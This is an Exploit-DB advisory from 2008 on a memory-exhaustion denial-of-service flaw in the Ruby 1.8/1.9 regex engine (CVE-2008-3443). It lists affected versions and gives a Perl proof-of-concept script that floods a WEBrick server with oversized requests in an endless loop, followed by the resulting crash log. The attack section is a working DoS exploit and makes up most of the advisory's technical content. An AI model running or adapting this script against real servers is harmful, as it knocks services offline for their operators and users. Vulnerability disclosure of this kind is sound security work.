Ruby <= 1.9 regex engine Remote Socket Memory Leak Exploit

2008-08-13T00:00:00
ID EDB-ID:6239
Type exploitdb
Reporter laurent gaffié
Modified 2008-08-13T00:00:00

Description

Ruby <= 1.9 (regex engine) Remote Socket Memory Leak Exploit. CVE-2008-3443. Dos exploits for multiple platform

                                        
                                            -------------------------------------------------------
Language : Ruby 

Web Site: www.ruby-lang.org

Platform: All

Bug: Remote Socket Memory Leak

Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions

1.9 series
- r18423 and all prior revisions

Confirmed by the vendor: Yes

Patch available : Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits

===============
1) Introduction
===============
"A dynamic, open source programming language with a focus on simplicity and productivity.
It has an elegant syntax that is natural to read and easy to write."

=======
2) Bug
=======
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go 
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).

==================
3)Proof of concept
===================
This poc is an exemple for Webrick web server
crap.pl :

#!/usr/bin/perl
use LWP::Simple;
my $payload = "\x41" x 49999999;
while(1)
{
print "[+]\n";
get "http://127.0.0.1:2500/".$payload."";
}

Result (Exemple on Webrick web server):

[2008-07-11 22:39:55] INFO  WEBrick 1.3.1
[2008-07-11 22:39:55] INFO  ruby 1.8.6 (2007-09-24) [i486-linux]
[2008-07-11 22:39:55] INFO  WEBrick::HTTPServer#start: pid=13850 port=2500
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
        /usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'
        /usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
        /usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
        /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'
        /home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'
        script/server:62
[FATAL] failed to allocate memory
root@audit:/home/audit#

=====
5)Credits
=====

laurent gaffiÊ

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-08-13]